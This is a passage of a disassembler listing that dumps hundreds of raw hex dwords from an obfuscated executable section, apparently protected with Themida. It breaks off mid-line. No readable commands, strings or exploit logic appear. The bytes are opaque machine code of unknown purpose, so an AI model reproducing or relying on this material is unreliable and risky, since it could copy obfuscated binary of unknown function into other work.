93097600h, 3C45905Ah dd 0F32575E6h, 2013E51Bh, 3489674Bh, 0F8535624h, 0B5FF5B5Fh dd 938B76Fh, 391BD8Bh, 95FF0935h, 9351C35h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0A5BD8B50h dd 5B093510h, 0BF66F98Bh, 0B5FFD6ACh, 938B76Fh, 2411B589h dd 95FF0935h, 9352CE5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 4AC35040h, 0BD89D402h, 9351DC1h, 26BDBD83h dd 0F020935h, 6784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 18B6E4D4h, 664E27B3h dd 8BB9C9BFh, 3526AD85h, 5E809h, 36880000h, 0BFEE5015h dd 6DEC8C7Ch, 0C65Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 23C35040h, 58D0FC4h, 0BF000000h, 627A6E4Eh dd 326585C7h, 935h, 0B5010000h, 93503BDh, 0FFF3B0E9h, 898589FFh dd 6009352Eh, 1D1BF0Fh, 350509B5h, 0C18B6109h, 0C58D8952h dd 5F093511h, 2659858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 10F687C3h, 6F1D5A7Eh dd 24048950h, 6AF98B66h, 8F81BB00h, 6A3EF8h, 142F858Dh dd 6A093Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD8BBDC3h, 93505A1h, 28A0Fh, 0FA8A0000h dd 8B05C083h, 353049BDh, 8E99009h, 84000000h, 796D2728h dd 505D56ECh, 7E9h, 4FB83400h, 8C07CCECh, 0CDBD3390h, 6A09350Bh dd 91BF6600h, 6A006A21h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 13E5C352h, 9D8B4B20h dd 93516B5h, 33195FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 39A844C3h, 6E9h, 625DE400h dd 297C37F7h, 352DF58Dh, 0AB8D8D09h, 8B09389Ah, 350825BDh dd 66D1FF09h, 834553BBh, 351C19BDh, 850F0109h, 8Dh, 0A387CF81h dd 26A465Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 16C35141h, 56E10FEBh, 69B589F8h, 50093503h, 28A0F52h dd 51000000h, 4895F5Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 95FF50BDh, 9351151h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 12C35343h, 0DDAD28DAh dd 6DBD8B02h, 6609352Bh, 7506D781h, 0E5BE9F9h, 0E80000h dd 5D000000h, 1439ED81h, 6A093Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 42B20FC3h, 95892593h dd 9352581h, 0DE9h, 6914B600h, 7DE3717Eh, 19419603h, 858D1B62h dd 938932Bh, 0FB8B90F5h, 6E950h, 0F26B0000h, 3FE6964Eh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 6853BEA2h, 5A2A1807h, 13810F21h, 0E9000000h dd 0Eh, 465A9148h, 0B59C1D89h, 6CE8597Ch, 0FF648805h, 35h dd 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 22BCE094h dd 0BD3324F9h, 8166E6CCh, 646092D7h, 2589h, 85FF0000h dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 3FC35343h, 125BE367h, 0F7816634h, 0BD8B3F11h, 93504ADh dd 0BF66FF6Ah, 0B5FF0ADAh, 935331Dh, 13E8h, 0D9059F00h dd 0A49C36F1h, 3321FFE7h, 3C2E0C28h, 8864E881h, 10E9h dd 0B0425100h, 81E395A8h, 72B95345h, 465D2035h, 95FF5B0Ah dd 9352EB9h, 133E9h, 5E900h, 6BCC0000h, 0B004610Fh, 3BCF8000h dd 666070E6h, 0CC4EC681h, 11E8h, 0CD2D4200h, 3940459Ch dd 6DA043A0h, 0D9C67D0Ch, 8B6665BCh, 0E46158C1h, 8197BB71h dd 613C367Eh, 0F2830Fh, 11E90000h, 0AC000000h, 4E436640h dd 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 66C8B60Fh, 0C6F2F381h dd 6BAh, 5E900h, 682E0000h, 0F8AAA518h, 9D33C18Bh, 9351241h dd 5604E8C1h, 228D8589h, 665B0935h, 8B66E2F7h, 0AABF66D8h dd 51C82B74h, 8B5FF98Bh, 0D59D8BD1h, 89093506h, 35305D85h dd 8EE909h, 858B0000h, 44004E49h, 14E9h, 0D1580300h, 978FDAD3h dd 0E0623C61h, 0BD284ABAh, 0A83DE9E3h, 68B0F38h, 3000000h dd 350D2D9Dh, 7C08309h, 32018D89h, 0C0830935h, 10E900h dd 0C9820000h, 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0D03B3BBDh dd 0A830Fh, 8B660000h, 32E9FAh, 0DA8B0000h, 0FFFF8D8Bh dd 0E183FFFFh, 21840F01h, 1000000h, 35229D85h, 0FAB70F09h dd 0FFFFA583h, 29FEFFFFh, 350D6D85h, 49958909h, 0E944004Eh dd 0 aNT9J db '█╣~▓9',9,'j',0 dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 24F01DC3h, 60B65FB8h, 6840Fh, 0BD890000h, 9351C05h dd 254DB58Bh, 6A610935h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 26034DB5h, 967836F5h dd 9D8B2A58h, 9350D2Dh, 82995FFh, 6A0935h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 2B811C3h dd 0B89B42EAh, 2B58589h, 0E8B90935h, 6A00000Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 7417C356h, 806756A6h, 81665660h, 58A603E1h, 268D958Bh dd 83610935h, 66FCFCE1h, 0B86D9FBFh, 0 dd 4A5BD01h, 0BA0935h, 8B000000h, 0C233ADD9h, 0D003E8D1h dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0EB614CD8h, 0D357D0h, 56BB4E5Fh dd 6A5FDAC6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0CFDBC350h, 0AE8h, 2A4D9200h dd 8A47AB3Dh, 8B9356CAh, 35043D9Dh, 880D5B09h, 66000000h dd 8B5028BFh, 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 17F9C712h, 8B83EB0Ah dd 35287D8Dh, 71DF8109h, 505C1737h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0DD8D8958h, 5309352Ch, 5FFFB70Fh dd 1249BD83h, 0F000935h, 6A84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8BAB49h dd 9351261h, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 57FC4A36h, 1525DF5Fh dd 8D5FFC50h, 354C028Dh, 5E909h, 0ABBD0000h, 0BFC3F8C7h dd 7E9A7705h, 0FA8BE1FFh, 8365C380h, 352255BDh, 840F0009h dd 495h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 83C35545h, 0F699CB73h, 837ECAA2h, 352255BDh, 840F0109h dd 480h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 31C35040h, 0A43C2397h, 46BFC287h, 833E680Eh, 352255BDh dd 860F0309h, 416h, 2E18D29h, 6A600935h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 35CFC353h dd 556FBC5Bh, 0EC6D80A8h, 0E9858B60h, 8909351Ah, 35060D8Dh dd 8C666109h, 3D9D8BD9h, 80093523h, 6A04E1h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 23FD39C3h dd 319D2B62h, 66093522h, 9BB9DB81h, 840FC90Ah, 15Bh, 0FE8h dd 48AD9500h, 0F901B165h, 7F1A41F9h, 3F0F2EDh, 800F50h dd 5B000000h, 61858B5Fh, 6A09352Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4BC9C355h dd 161D8B3Eh, 33D460E5h, 350D7D85h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 5019D9DDh dd 6A20BB66h, 0BE9905Bh, 0AC000000h, 317D19F2h, 96F0BF58h dd 0E95006A0h, 0Ah, 96EDDBB5h, 0CDE301FBh, 6A90BB82h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0B7CAC353h, 9D89B126h, 9352E55h, 0E781006Ah, 4BD1AF17h dd 17182168h, 5B565154h, 2434815Fh, 54081BDEh, 2D05BD09h dd 8B0F0935h, 3, 0FFDEB70Fh, 350CDD95h, 57006A09h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 4D34EDA1h, 464AE381h, 85891AF7h, 938B76Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B4C35040h, 0ADE976BBh dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F22C357h, 680h, 0A59D3300h, 8B09350Fh dd 38B76785h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 722AE0F2h, 0B880Fh, 0BE600000h, 12F4A2FFh dd 9BE2B866h, 1800C761h, 8B000000h, 3507F9BDh, 298D8909h dd 8B093527h, 38B76BB5h, 0C19D8B09h, 8B093524h, 3524D585h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0E11B67Fh, 89F9E7DCh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 4B467C0Ch dd 274C561Dh, 4D8D8941h, 8B09351Bh, 352B6185h, 9BBB5609h dd 5F659559h, 6A044689h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0A2A5C351h, 31C5B557h dd 527E21B0h, 46C78166h, 60965BE0h, 0FB59BA66h, 820Fh dd 50610000h, 5B5B5657h, 0F8BF6696h, 67B5FF3Eh, 6A0938B7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 1A69C357h, 0D99D8B97h, 89093502h, 35161D95h dd 0CB616809h, 68B7006Dh, 9E243481h, 6A0072C8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8B9AC350h, 69BD8BD8h, 8D093504h, 38B76F85h, 0D5958909h dd 50093512h, 4895B52h, 0ABC78124h, 891BD5E9h, 352B859Dh dd 0DD95FF09h, 6609350Ch, 91FCCF81h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0F37BF6F0h dd 0E89AD391h, 2F81BD8Bh, 85C70935h, 9352255h, 3, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DEC35646h, 2C5C17EBh dd 66E85691h, 830AB2BBh, 38B76FBDh, 840F0009h, 56h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A6C35747h, 0DC9593B2h dd 0BD332654h, 93502F9h, 44E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F141BEA0h dd 0C89D328Eh, 0FBB70F84h, 3050FA8Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 850360C0h, 9352859h dd 2DA199BAh, 81666117h, 83911DEFh, 352255BDh, 850F0309h dd 476h, 0B76FBD83h, 0F000938h, 46984h, 19BD8B00h, 0FF09352Fh dd 38B76FB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 5B3B601h, 8B2D3E95h, 352E099Dh, 0A3D78009h dd 2E1195FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0AB18CC3h, 8BC9B765h, 38B763B5h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 2673F002h, 622A70E5h, 12E84Eh, 590A0000h dd 9F25893Eh, 14E2AB72h, 703FB6E5h, 0D8C542E4h, 0C75B44B7h dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0B652650Bh, 34B2C1CEh, 89604FB8h dd 352E6595h, 0D1BD0109h, 6109352Ah, 11E996h, 172D0000h dd 0A4968C1Eh, 9DA11F41h, 0A5D573B5h, 50FFFF45h, 0C5B58996h dd 0FF09350Eh, 38B76FB5h, 69BD8B09h, 0FF093503h, 35028995h dd 46BB6609h, 63B58B3Ch, 6A0938B7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7545C355h dd 0F3B4BAC2h, 3A7BEF81h, 858B40BCh, 9350E99h, 89FBB70Fh db 86h byte_5904E9 db 0C4h, 2 dup(0) ; DATA XREF: Themida_:0055CEC4o dd 958BF900h, 9351629h, 2E91BD8Bh, 0C2830935h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E8ACBEC5h, 8, 6B9EFE0Eh, 59B7F301h, 0CA84BF66h, 0FBBF0F5Fh dd 8D205089h, 38CC0785h, 50006A09h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 47699FE2h, 8D9D2368h dd 89093531h, 0B886h, 0F7816600h, 6A8FC5h, 0B76FB5FFh dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0C6E795C3h, 73C3FA63h, 890F308Bh, 6, 1DADBD89h dd 95FF0935h, 9351151h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 63C35040h, 993E69D4h, 50964CA3h, 56BF6652h dd 60310FB4h, 9E9h, 57830D00h, 38CECF0Ch, 0BE9B3E7h, 9F000000h dd 7D95BAADh, 0BD588FD5h, 5A61A6D3h, 8BB5058h, 964072CCh dd 0B76FB5FFh, 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 464878C3h, 4C40120Fh, 9D8B30E9h dd 93512A1h, 0B5595FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0FBBE7AC3h, 0C78166A9h dd 0BD837A48h, 9350079h, 88840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0BF4EC357h, 0B20D0DD6h, 0ABB8A048h, 0F3BF0F60h, 11E9h dd 22174100h, 75798492h, 862546CEh, 0FB8101A9h, 89615B2Ah dd 35234195h, 11E85009h, 2E000000h, 23B5CD1Ch, 0A179989Ah dd 43B27637h, 21409D3Ah, 0F88B6653h, 34895B5Bh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 81661AF6h, 0FF0B17EBh, 38B76FB5h, 2DBD8B09h, 0FF093533h dd 351C3595h, 55958909h, 0FF093501h, 38B76FB5h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0D639AEB2h, 989057D7h, 1AD99D89h, 8B0F0935h, 4, 45FDBF66h dd 2CE595FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0E5F9E5C3h, 1DB34E19h, 0BF0F608Eh dd 61FB8BC7h, 26BDBD83h, 0F020935h, 5D84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 33227E28h, 0FEF11163h, 0BD98D89h, 858B0935h, 93526ADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h dd 81D052C7h, 6E5898DFh, 0C60Fh, 11A19D0Bh, 85C70935h dd 9353265h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C35747h dd 3610FE48h, 364E526Dh, 13E19589h, 0F5E90935h, 6AFFFFF2h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 1D9EC353h, 0E8D4BF4Bh, 0C18B2756h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 54C35545h, 81AD442Fh dd 1CCF1EFh, 352DD595h, 59858D09h, 6A093526h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0C913C351h, 2214C18h, 0E8C744F9h, 0Bh, 201DC5C9h, 0AE793F75h dd 8B2BF2B6h, 3524F5BDh, 50905B09h, 5C7EBF52h, 310F4691h dd 5FD98B50h, 0BF50585Ah, 423DA640h, 1597BB90h, 8C0F6EE3h dd 20h, 1A8C0Fh, 14E80000h, 0B6000000h, 9AC295F1h, 0F4AFBE1h dd 361B0E56h, 90244816h, 5F7A31AFh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F27F79C3h dd 97FFED7Ah, 11E97D11h, 74000000h, 86703185h, 0CB2ACB0Eh dd 0D1D015B6h, 5F77219Bh, 0F0BB006Ah, 8121CE92h, 396469E7h dd 52858D03h, 6A093A25h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 31E7C352h, 0E2495C22h dd 0F172CFAh, 9D8BDABFh, 9352CE1h, 6A05C083h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 7B7DC356h, 6BB8E070h, 160D9D89h, 89500935h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 647D8AC3h, 0BEB596CFh, 0BD31AC9Ch, 9350625h, 6ADE8Bh dd 6AD98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 24C35747h, 7A730406h, 750A2184h, 68B0F52h, 89000000h dd 351B6DB5h, 80605F09h, 0FBB1BAF4h, 3195FF61h, 6A093503h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 5D9DC352h, 0CAD7F3A1h, 9BE1BA11h, 3830Fh dd 8B660000h, 0AB8D8DF8h, 309389Ah, 3501A19Dh, 8BD1FF09h dd 3529099Dh, 19BD8309h, 109351Ch, 0D6850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0C5EC76C3h, 45BD89C2h, 6A093503h, 55006A02h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F89E28C5h dd 30A99D8Bh, 0BD8B0935h, 93516C9h, 52525090h, 5AFABB66h dd 66310F5Bh, 5A29B1BFh, 0F605058h, 481h, 0D0BA6600h, 6880F24h dd 0F000000h, 8Eh, 6A906100h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0A470C355h, 47E5076Bh dd 85039A94h, 0FFDEBF0Fh, 35115195h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 87A8323Bh dd 2FCD9589h, 0E7810935h, 138E7F28h, 0D07E9h, 0E800h, 815D0000h dd 3A255CEDh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 59D8BC0h, 3093512h, 352809BDh, 9D9D8B09h dd 8D093508h, 38932B85h, 50006A09h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 9401D2B0h, 0C4CEE3ECh dd 13E94Ch, 0F30E0000h, 0C0709BBAh, 0EA66694Ch, 0F6103E4Eh dd 73CF675Bh, 85236057h, 9352C75h, 585A5350h, 0E8609061h dd 6, 4029A2Dh, 0E78ACCBFh, 6050615Eh, 0BE8h, 0D2C4C400h dd 0E7CF1BCDh, 0C3C1E1A0h, 0EE8h, 395E7500h, 0A4905326h dd 9CD3738Bh, 59C9DF93h, 800F5Fh, 61000000h, 64FA8A90h dd 35FFh, 77B30000h, 258964h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0AC5AC352h dd 0BF66FB46h, 85FFBC8Eh, 9353009h, 1F158529h, 0FF6A0935h dd 0CE8h, 63666000h, 0CEC4405Ah, 4182A327h, 6DBD894Dh dd 5F093523h, 3095B5FFh, 95FF0935h, 9352EB9h, 0FEE9h, 0BBBBB00h dd 8E0F7228h, 6, 0EE58D89h, 0B00935h, 0E6BFCF80h, 21BD2970h dd 0E409352Dh, 51F78171h, 3C19CC05h, 0D0830F61h, 0F000000h dd 68Fh, 71958900h, 0B093512h, 350425BDh, 0C8B60F09h, 4109BB66h dd 6BAh, 0C18BF900h, 0C359D8Bh, 0E8C10935h, 66DF8B04h dd 8529E2F7h, 9351EEDh, 8531C82Bh, 93516C9h, 9D23D18Bh dd 93517B1h, 86E9h, 0DFB70F00h, 4C4C858Bh, 820F505Fh, 6 dd 12B9BD89h, 0C0830935h, 0B19D8B07h, 83093525h, 92BB00C0h dd 8176EF8Ch, 0F6C97CC3h, 0FD03B2Fh, 1383h, 9D895100h dd 9350055h, 45E95Bh, 9D0B0000h, 935058Dh, 0FFFF8D8Bh dd 0F56FFFFh, 835FDEB7h, 840F01E1h, 2Bh, 261DB529h, 0BF660935h dd 0A58330BEh, 0FFFFFFFFh, 6820FFEh, 89000000h, 35333595h dd 4C958909h, 0F505F4Ch, 0E9DFBFh, 8D000000h, 39A166B5h dd 0EE909h, 57EA0000h, 40DB82ADh, 0EEFCB37Fh, 0D13848BAh dd 0BF0F006Ah, 0BD0B60FBh, 9352A8Dh, 5E9h, 0E8C2E300h dd 0FF61F9AFh, 35082995h, 87CB8009h, 0FD6B9h, 7ABB6600h dd 0FCE183C6h, 6AFCDE8Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0A6A6C352h, 6E406420h dd 8904F380h, 350B5985h, 0B809h, 9D8B0000h, 9351AFDh, 6AD22Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 31149EC3h, 0F7850AD1h, 33ADF930h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0E4A280C3h, 806CF5B4h, 50006A01h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6A737492h dd 0E9C6CA1Ah, 0Eh, 0CEA5746Ch, 5B010336h, 0F340BF68h dd 0BD232144h, 9350039h, 880Dh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 26D266Bh, 77229A4Dh dd 6800Fh, 9D8B0000h, 9350371h, 958BD88Bh, 9351629h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CC35040h, 0EE39D653h dd 0FAE9C68Dh, 68D0FE1h, 1000000h, 3530A985h, 7D8D8B09h dd 56093528h, 5FF9BF0Fh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0BD8B5818h, 9350811h, 49BD83F8h, 93512h dd 61840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 515D8DC3h, 2F58810Ch, 0B878h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BE3BFC3h, 35272DBDh, 119D8B09h, 8D09350Bh, 354C028Dh dd 33BB6609h, 66E1FFA5h, 8343C9BBh, 352255BDh, 840F0009h dd 446h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0FDC35646h, 8949BB4Dh, 351035B5h, 599D0909h, 8309350Ah dd 352255BDh, 840F0109h, 429h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 80C35343h, 0A359D8Bh, 0BD830935h dd 9352255h, 0C4860F03h, 89000003h, 353341B5h, 6A6009h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0CA7127C3h, 8166C3EBh, 809833D3h, 0BD89FDCBh, 9350DC1h dd 0E8D98C66h, 10h, 5E64CE7h, 0BB4B74AAh, 0FC1321DFh, 0BC59B84Eh dd 805FD98Ah, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0CD5A8C3h, 0C90AA2C5h, 130840Fh dd 81660000h, 8BFF3CDFh, 352B6185h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D8B6AE1h dd 9352765h, 8533FE8Bh, 9350D7Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0DAC35343h, 0A9B58959h, 9009350Fh dd 0C810Fh, 7E90000h, 4D000000h, 0C86E588Ah, 6650523Fh dd 90DE44BBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 22C35747h, 0BFBE2170h, 11DE63A1h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 3AD652C3h, 957C9132h, 35BD8B2Fh, 0F093512h, 158Fh, 10E900h dd 0E04B0000h, 918831CDh, 0D6AA2F1Ah, 0C83EB682h, 7F68BEEFh dd 0B77C1E1Ah, 243481D8h, 7C011980h, 95FFFCF9h, 9350CDDh dd 0F19D8B53h, 5F09352Bh, 3830Fh, 0E7800000h, 6F8589D8h dd 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E9F4C355h, 1CBh, 8B0Fh, 858B0000h dd 938B767h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0ACC35747h, 0CFBB66CFh, 1800C791h, 8B000000h, 38B76BB5h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 800F2B77h, 16h, 11E9h, 8E73D800h, 7493BFCh dd 0A640EC23h, 5BC517AAh, 858BD1ACh, 93524D5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 63C35343h, 8FBC7BF9h dd 0C1B58959h, 0F9093506h, 0BF660689h, 858BC4D0h, 9352B61h dd 1655BD8Bh, 46890935h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 7213CF07h, 0FD9647F7h dd 6890Fh, 0BD890000h, 9352C21h, 50DFB70Fh, 61606056h dd 12E9h, 11C73A00h, 0EB768E0Dh, 0A63A22AFh, 52496C0Ch dd 611CA512h, 2434895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 68C35141h, 0DE5B589h, 0B5FF0935h, 938B767h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C2C35040h dd 21935E0Fh, 0BE13BBFFh, 2259BD03h, 0EE680935h, 52829B5Bh dd 6E8h, 75854000h, 604E0502h, 815F5F61h, 0A8112404h, 8D017D83h dd 9351115h, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0F849A2C3h, 89192165h dd 3510CDB5h, 52505009h, 8F0Fh, 310F0000h, 489585Ah, 0C9E38124h dd 0FF274779h, 350CDD95h, 159D8B09h, 61093524h, 24A19D8Bh dd 85C70935h, 9352255h, 3, 831AE380h, 38B76FBDh, 840F0009h dd 33h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh dd 9DC35141h, 77ACC51h, 810AF49Ah, 0E1AC69D7h, 20E959h dd 81660000h, 504BF1DBh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 216A0C3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7FC35343h, 0B529FCF1h dd 9353251h, 2255BD83h, 0F030935h, 39585h, 0D858900h, 83093530h dd 38B76FBDh, 840F0009h, 382h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 58C35747h, 44374F89h, 8A197CF5h dd 6FB5FFD9h, 8B0938B7h, 3516BDBDh, 95295209h, 935249Dh dd 1195FF5Fh, 6A09352Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0B3E8C353h, 8CC5FEF7h dd 11958967h, 0E909352Fh, 9, 0FBC57757h, 6E9C20AEh, 63B58B64h dd 660938B7h, 6C7D88Bh, 10001h, 96DAB70Fh, 0BB665660h dd 0B95BEDA1h, 71968DB4h, 